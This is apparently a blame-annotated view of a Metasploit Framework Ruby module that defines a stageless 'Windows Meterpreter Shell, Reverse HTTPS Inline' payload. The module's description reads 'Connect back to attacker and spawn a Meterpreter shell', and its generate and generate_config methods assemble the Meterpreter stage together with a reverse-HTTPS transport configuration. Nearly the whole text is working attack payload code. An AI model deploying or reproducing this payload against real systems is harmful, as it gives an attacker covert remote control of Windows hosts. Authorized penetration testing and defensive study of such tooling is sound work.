2015-03-11 23:45:09 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2015-05-11 23:25:02 +00:00
|
|
|
require 'msf/core/payload/transport_config'
|
2015-03-11 23:45:09 +00:00
|
|
|
require 'msf/core/handler/reverse_https'
|
2015-05-04 11:51:20 +00:00
|
|
|
require 'msf/core/payload/windows/meterpreter_loader'
|
2015-03-11 23:45:09 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_x86_win'
|
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
2015-05-05 04:24:21 +00:00
|
|
|
require 'rex/payloads/meterpreter/config'
|
2015-03-11 23:45:09 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2015-03-11 23:45:09 +00:00
|
|
|
|
2016-02-11 04:44:17 +00:00
|
|
|
CachedSize = 959043
|
2015-03-16 23:08:13 +00:00
|
|
|
|
2015-05-11 23:25:02 +00:00
|
|
|
include Msf::Payload::TransportConfig
|
2015-05-04 11:51:20 +00:00
|
|
|
include Msf::Payload::Windows
|
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Windows::MeterpreterLoader
|
2015-03-11 23:45:09 +00:00
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',
|
|
|
|
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
|
|
|
|
'Author' => [ 'OJ Reeves' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
|
|
|
))
|
|
|
|
|
2015-05-04 23:27:01 +00:00
|
|
|
register_options([
|
2015-11-10 10:01:23 +00:00
|
|
|
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
2015-11-26 04:07:25 +00:00
|
|
|
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
2015-05-04 23:27:01 +00:00
|
|
|
], self.class)
|
2015-03-11 23:45:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def generate
|
2015-05-04 12:36:59 +00:00
|
|
|
stage_meterpreter(true) + generate_config
|
2015-03-17 04:41:00 +00:00
|
|
|
end
|
|
|
|
|
2015-05-04 11:51:20 +00:00
|
|
|
def generate_config(opts={})
|
2015-05-20 06:25:52 +00:00
|
|
|
opts[:uuid] ||= generate_payload_uuid
|
2015-06-27 08:21:15 +00:00
|
|
|
opts[:stageless] = true
|
2015-05-04 11:51:20 +00:00
|
|
|
|
|
|
|
# create the configuration block
|
|
|
|
config_opts = {
|
2015-05-11 23:25:02 +00:00
|
|
|
arch: opts[:uuid].arch,
|
|
|
|
exitfunk: datastore['EXITFUNC'],
|
|
|
|
expiration: datastore['SessionExpirationTimeout'].to_i,
|
|
|
|
uuid: opts[:uuid],
|
|
|
|
transports: [transport_config_reverse_https(opts)],
|
2015-11-10 10:01:23 +00:00
|
|
|
extensions: (datastore['EXTENSIONS'] || '').split(','),
|
|
|
|
ext_init: (datastore['EXTINIT'] || '')
|
2015-05-04 11:51:20 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
# create the configuration instance based off the parameters
|
|
|
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
|
|
|
|
|
|
# return the binary version of it
|
|
|
|
config.to_b
|
|
|
|
end
|
2015-03-11 23:45:09 +00:00
|
|
|
end
|